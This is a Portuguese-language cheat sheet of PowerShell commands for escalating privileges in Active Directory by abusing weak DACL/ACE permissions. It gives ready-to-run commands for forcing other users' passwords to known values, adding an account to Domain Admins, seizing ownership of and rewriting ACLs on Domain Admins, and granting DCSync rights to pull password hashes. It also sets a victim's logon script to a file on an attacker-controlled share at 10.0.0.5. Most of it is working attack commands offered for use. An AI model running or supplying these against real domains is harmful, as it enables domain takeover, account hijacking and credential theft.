Este documento contém comandos para explorar permissões fracas em Active Directory através de DACLs (Discretionary Access Control Lists) e ACEs (Access Control Entries).
### Tipos de Permissões Importantes:
- **GenericAll** - Direitos totais sobre o objeto
- **GenericWrite** - Atualizar atributos do objeto
- **WriteOwner** - Mudar o proprietário do objeto
- **WriteDACL** - Modificar ACEs do objeto
- **AllExtendedRights** - Adicionar usuário a grupo ou resetar senha
- **ForceChangePassword** - Mudar senha do usuário
- **Self (Self-Membership)** - Adicionar-se a um grupo
---
## 1. GenericAll - Controle Total
### Verificar se usuário tem GenericAll sobre outro usuário
```powershell
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
```
**Explicação**: Verifica se o usuário atual tem direitos GenericAll sobre o usuário "delegate"
### Resetar senha de usuário (com GenericAll)
```powershell
net user delegate Password123! /domain
```
**Explicação**: Altera a senha do usuário "delegate" para "Password123!" sem precisar saber a senha atual
### Verificar GenericAll sobre grupos
```powershell
Get-NetGroup "domain admins" -FullData
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
```
**Explicação**: Obtém informações do grupo Domain Admins e verifica permissões sobre ele
### Adicionar-se ao grupo Domain Admins
```powershell
net group "domain admins" spotless /add /domain
```
**Explicação**: Adiciona o usuário "spotless" ao grupo Domain Admins (requer GenericAll sobre o grupo)
---
## 2. WriteProperty / Self-Membership
### Usando Active Directory Module
```powershell
Add-ADGroupMember -Identity "domain admins" -Members spotless
```
**Explicação**: Adiciona usuário ao grupo usando cmdlets do AD
### Usando PowerSploit
```powershell
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
**Explicação**: Alternativa usando PowerSploit para adicionar usuário ao grupo
---
## 3. ForceChangePassword
### Resetar senha com ExtendedRight
```powershell
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.objectdn -eq "CN=User-Force-Change-Password,CN=Extended-Rights,CN=Configuration,DC=offense,DC=local"}
```
**Explicação**: Verifica se tem o direito estendido de forçar mudança de senha
### Mudar senha usando PowerView
```powershell
Set-DomainUserPassword -Identity delegate -Verbose
```
**Explicação**: Reseta a senha do usuário "delegate" interativamente
### Mudar senha sem interação
```powershell
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
**Explicação**: Define nova senha "123456" sem prompt interativo
### One-liner para sessões não interativas
```powershell
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
**Explicação**: Comando único para mudança de senha em scripts automatizados
---
## 4. WriteOwner - Mudança de Proprietário
### Verificar proprietário atual
```powershell
Get-ObjectAcl -ResolveGUIDs -SamAccountName "Domain Admins" | ? {$_.objectsid -eq $sid}
```
**Explicação**: Verifica quem é o proprietário atual do objeto Domain Admins
### Mudar proprietário do objeto
```powershell
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity spotless -Verbose
```
**Explicação**: Define "spotless" como novo proprietário do grupo Domain Admins (usar SID do grupo)
---
## 5. WriteDACL - Modificar Permissões
### Adicionar todos os direitos sobre um objeto
```powershell
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity spotless -Rights All -Verbose
```
**Explicação**: Concede todos os direitos ao usuário "spotless" sobre o grupo Domain Admins
### Verificar se é proprietário de grupo
```powershell
Get-ADGroup -Identity test -Properties * | select DistinguishedName,managedBy
```
**Explicação**: Verifica quem gerencia/possui o grupo "test"
---
## 6. GenericWrite - Script de Logon
### Definir script de logon malicioso
```powershell
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
**Explicação**: Define um script de logon que será executado quando o usuário "delegate" fizer login
---
## 7. Técnicas Avançadas com ADSI
### Conceder DCSync rights (requer WriteDACL)
```powershell
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('OFFENSE\spotless', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=offense,DC=local" -PrincipalIdentity spotless -Rights DCSync
```
**Explicação**: Concede privilégios DCSync ao usuário, permitindo replicação de hashes de senha
### Verificar ACLs com PowerView
```powershell
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? {$_.PrincipalIdentity -eq "spotless"}
```
**Explicação**: Lista todas as permissões que o usuário "spotless" tem sobre o grupo Domain Admins
---
### Verificar todas as GPOs e suas permissões.
```powershell
Import-Module GroupPolicy
# Obtém todas as GPOs do domínio
$GPOs = Get-GPO -All
foreach ($GPO in $GPOs) {
Write-Host "Nome: $($GPO.DisplayName)" -ForegroundColor Green
Write-Host "ID: $($GPO.Id)" -ForegroundColor Green
Write-Host "Status: $($GPO.GpoStatus)" -ForegroundColor Green
Write-Host "Criada em: $($GPO.CreationTime)" -ForegroundColor Green
Write-Host "Modificada em: $($GPO.ModificationTime)" -ForegroundColor Green
Write-Host "Permissões:" -ForegroundColor Yellow
try {
# Chave: -Name e -All precisam ficar separados por espaços
$Permissions = Get-GPPermission -Name $GPO.DisplayName -All
foreach ($Permission in $Permissions) {
Write-Host " Trustee: $($Permission.Trustee.Name)" -ForegroundColor Cyan
Write-Host " Tipo: $($Permission.Trustee.SidType)"
Write-Host " Permissão: $($Permission.Permission)"
Write-Host " Herdado: $($Permission.Inherited)"
Write-Host " ---------------------------"
}
}
catch {
Write-Host "Erro ao obter permissões: $($_.Exception.Message)" -ForegroundColor Red
}
# Linha de separação
Write-Host ("=" * 40) -ForegroundColor Magenta
Write-Host ""
}
```
### Material Complementar
https://github.com/Hackndo/pyGPOAbuse